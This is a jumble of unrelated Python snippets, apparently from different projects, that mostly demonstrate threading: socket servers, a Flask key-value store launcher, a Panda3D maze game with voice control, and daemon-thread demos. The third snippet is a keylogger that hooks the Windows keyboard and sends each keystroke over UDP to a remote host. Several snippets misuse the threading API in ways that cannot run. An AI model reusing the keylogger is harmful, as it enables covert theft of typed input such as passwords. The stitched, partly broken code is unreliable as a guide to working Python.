def main(): # n = cantidad de bobs o cliente que se conectan n = 1; port = 7666 # Creamos el socket con protocolo TCP Ssocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # Asociamos el socket con la ip y el puerto Ssocket.bind(('', port)) # Definimos la ip local sobre el cual vamos a correr el servidor, o Alice IpLocalServer = socket.gethostbyname(socket.getfqdn()) bloq = threading.Lock() print("Alice is online with ip: ", IpLocalServer, " and port: ", port) # El socket del servidor, queda esperando una conexion Ssocket.listen(16) while True: # Aceptamos la conexion Csocket, IpClient = Ssocket.accept() print(IpClient, " conected...") # Creamos la variable threading targeteando la funcion attend threading = threading.Thread(target=attend, args=(Csocket, n, bloq)) threading.start() # Informamos que se arranco un nuevo hilo print(f"Start a new thread: {threading.name} for bob {n}") n += 1
def runApp(self, app_type, app_id, send_queue): if app_type in self.apps: app = self.apps[app_type] t.Thread(target=app.__init__, args=[app_id, send_queue]) t.setDaemon(True) t.start() return t else: return None
serverSocket = socket.socket(socket.AF_INET,socket.SOCK_DGRAM) #SOCK_DGRAM表示基数据报格式即UDP连接 serverSocket.bind(('',serverport)) #(host,port)的形式表示地址、引号表示可以接受任何地址来的数据报 def onKeyboardEvent(event): # 监听键盘事件 if (event.Key=='Lshift') or (event.Key=='Rshift'): temp = '@' elif onKeyboardEvent.Key=='Escape': #遇到Esc键退出 win32api.PostQuitMessage() else: temp = (event.Key).lower() #将输入的键盘值之间缓冲到temp clientSocket.sendto(temp.encode(),(clientname,clientport)) return True #def Listenkeyboard(): # pythoncom.PumpMessages(800) # 进入循环,如不手动关闭,程序将一直处于监听状态 def Receive(): print ('Ready to receive message') while(1): message,ServerAddress = serverSocket.recvfrom(1024) print (message.hex()) if __name__ == "__main__": hm = pyHook.HookManager() # 创建一个“钩子”管理对象 hm.KeyDown = onKeyboardEvent # 监听所有键盘事件 hm.HookKeyboard() # 设置键盘“钩子” threading.start(onKeyboardEvent,()) threading.start(Receive,())
import threading import time # Define a function for the thread def print_time(threadName, delay): count = 0 while count < 5: time.sleep(delay) count += 1 print("%s: %s" % (threadName, time.time())) # Create two threads as follows threading.start(print_time, ( "Thread-1", 2, )) try: threading.start(print_time, ( "Thread-1", 2, )) threading.start(print_time, ( "Thread-2", 4, )) except: print("Error: unable to start thread") while 1: pass
def formatResult(result): status_code = result.status_code result = result.json() if result != None: jsonKeys = [ "message", "replaced", "error", "doesExist", "value", "address", "key-count", "shards", "values", "vectors", "timestamps", "VectorClock", "Timestamp", "View", "replicas", "id", "shard-id", "causal-context" ] result = {k: result[k] for k in jsonKeys if k in result} else: result = {"status_code": status_code} return result, status_code if __name__ == '__main__': num_keys = 0 #number of keys in our key-value store #app.config['JSON_SORT_KEYS'] = False threading = threading.Thread(target=gossip) threading.start() #second thread to handle the view sync? -- try in regular gossip -> try here if it is too laggy # threading2 = threading.Thread(target=gossip2) # threading2.start() app.run(debug=True, threaded=True, host='0.0.0.0', port=13800) # why 0.0.0.0?? https://stackoverflow.com/questions/20778771/what-is-the-difference-between-0-0-0-0-127-0-0-1-and-localhost # it basically checks if there is anything being point to the network for the local IP
def rollTask(self, task): # Standard technique for finding the amount of time since the last # frame #print("\r",self.maze.getR(), self.maze.getP(), self.ballRoot.getPos(), end="") dt = globalClock.getDt() print("\r{:.3} fps ".format(1 / dt), end="") # If dt is large, then there has been a # hiccup that could cause the ball # to leave the field if this functions runs, so ignore the frame if dt > .2: return Task.cont #print(action) if action == "start": a = 1 elif action == "stop": while action == "stop": a = 0 # elif action == "restart": in Line 531 elif action == "coord": a = 1 #ALGUNA CRIDA A METODE DE NARCIS/MARC key_down = base.mouseWatcherNode.is_button_down if self.ready_to_solve: if key_down(KeyboardButton.ascii_key('d')): screenshot = self.camera2_buffer.getScreenshot() if screenshot: v = memoryview(screenshot.getRamImage()).tolist() img = np.array(v, dtype=np.uint8) img = img.reshape( (screenshot.getYSize(), screenshot.getXSize(), 4)) img = img[::-1] #self.digitizer.set_src_img(img) #self.digitizer.digitalize_source() cv2.imshow('img', img) #cv2.waitKey(0) if key_down(KeyboardButton.ascii_key('s')): print("Screenshot!") self.camera2_buffer.saveScreenshot("screenshot.jpg") # The collision handler collects the collisions. We dispatch which function # to handle the collision based on the name of what was collided into for i in range(self.cHandler.getNumEntries()): entry = self.cHandler.getEntry(i) name = entry.getIntoNode().getName() if action == "restart": self.loseGame(entry) if name == "wall_col": self.wallCollideHandler(entry) elif name == "ground_col": self.groundCollideHandler(entry) elif name == "loseTrigger": vr.restart = 1 global th th = threading.Thread(target=listenVoice) th.start() self.loseGame(entry) # Read the mouse position and tilt the maze accordingly # Rotation axes use (roll, pitch, heave) """ if base.mouseWatcherNode.hasMouse(): mpos = base.mouseWatcherNode.getMouse() # get the mouse position self.maze.setP(mpos.getY() * -10) self.maze.setR(mpos.getX() * 10) """ ballPos = self.get_ball_position() #print("BALL POS: ", ballPos) posFPixel = self.path[self.indexPuntActual] xFinal = posFPixel[1] #posFPixel[1]/np.shape(laberint)[0]*13 - 6.5 yFinal = posFPixel[ 0] #-(posFPixel[0]/np.shape(laberint)[1]*13.5 - 6.8) dist = math.sqrt((xFinal - ballPos[1])**2 + (yFinal - ballPos[0])**2) if (dist < self.minDist): if (self.indexPuntActual == len(self.path) - 1): print("SOLVED!!", end="") while (self.aStar.distance( (ballPos[0], ballPos[1]), self.path[self.indexPuntActual]) < self.pas): if (self.indexPuntActual < len(self.path) - 1): self.indexPuntActual += 1 else: break # ball pos (y,x) #print("END POS: ", self.digitizer.endPos) if voice_solving: p_rotation = dir_veu[0] r_rotation = dir_veu[1] if p_rotation == 0 and r_rotation == 0 and ballPos is not None: p_rotation, r_rotation = self.pid.getPR( ballPos[1], ballPos[0], ballPos[1], ballPos[0], self.maze.getP(), self.maze.getR(), dt) else: p_rotation = 0 r_rotation = 0 #print(ballPos, dist) #print(ballPos) if ballPos is not None: p_rotation, r_rotation = self.pid.getPR( ballPos[1], ballPos[0], xFinal, yFinal, self.maze.getP(), self.maze.getR(), dt) #print(p_rotation, r_rotation) if key_down(KeyboardButton.up()): p_rotation = -1 elif key_down(KeyboardButton.down()): p_rotation = 1 if key_down(KeyboardButton.left()): r_rotation = -1 elif key_down(KeyboardButton.right()): r_rotation = 1 self.rotateMaze(p_rotation, r_rotation) # Finally, we move the ball # Update the velocity based on acceleration self.ballV += self.accelV * dt * ACCEL # Clamp the velocity to the maximum speed if self.ballV.lengthSquared() > MAX_SPEED_SQ: self.ballV.normalize() self.ballV *= MAX_SPEED # Update the position based on the velocity self.ballRoot.setPos(self.ballRoot.getPos() + (self.ballV * dt)) #print(self.ballRoot.getPos()) # This block of code rotates the ball. It uses something called a quaternion # to rotate the ball around an arbitrary axis. That axis perpendicular to # the balls rotation, and the amount has to do with the size of the ball # This is multiplied on the previous rotation to incrimentally turn it. prevRot = LRotationf(self.ball.getQuat()) axis = LVector3.up().cross(self.ballV) newRot = LRotationf(axis, 45.5 * dt * self.ballV.length()) self.ball.setQuat(prevRot * newRot) elif key_down(KeyboardButton.ascii_key('1')): self.solve() if key_down(KeyboardButton.ascii_key('i')): self.light.setY(self.light.getY() + 10 * dt) elif key_down(KeyboardButton.ascii_key('k')): self.light.setY(self.light.getY() - 10 * dt) if key_down(KeyboardButton.ascii_key('j')): self.light.setX(self.light.getX() - 10 * dt) elif key_down(KeyboardButton.ascii_key('l')): self.light.setX(self.light.getX() + 10 * dt) if key_down(KeyboardButton.ascii_key('u')): self.lightColor += 10000 * dt self.light.node().setColor( (self.lightColor, self.lightColor, self.lightColor, 1)) elif key_down(KeyboardButton.ascii_key('o')): self.lightColor -= 10000 * dt self.light.node().setColor( (self.lightColor, self.lightColor, self.lightColor, 1)) if key_down(KeyboardButton.ascii_key('8')): self.alightColor += 1 * dt self.ambientL.node().setColor( (self.alightColor, self.alightColor, self.alightColor, 1)) elif key_down(KeyboardButton.ascii_key('9')): self.alightColor -= 1 * dt self.ambientL.node().setColor( (self.alightColor, self.alightColor, self.alightColor, 1)) if key_down(KeyboardButton.ascii_key('r')): base.trackball.node().set_pos(0, 200, 0) base.trackball.node().set_hpr(0, 60, 0) return Task.cont # Continue the task indefinitely
toData=toPos.getY(), duration=.1), LerpFunc(self.ballRoot.setZ, fromData=self.ballRoot.getZ(), toData=self.ballRoot.getZ() - .9, duration=.2)), Wait(1), Func(self.start)).start() def toggleInterval(self, ival): if ival.isPlaying(): ival.pause() else: ival.resume() def shaderSupported(self): return base.win.getGsg().getSupportsBasicShaders() and \ base.win.getGsg().getSupportsDepthTexture() and \ base.win.getGsg().getSupportsShadowFilter() # Finally, create an instance of our class and start 3d rendering demo = BallInMazeDemo() try: th = threading.Thread(target=listenVoice, daemon=True) th.start() except: print("Error: unable to start thread") demo.run()
#守护线程 import threading as t import time def fun(): print("老王") time.sleep(2) print("你干啥呢") t = t.Thread(target=fun) #daemon 需要在start前面设置 #t.setDaemon(True) t.daemon = True t.start() print("你是不似傻")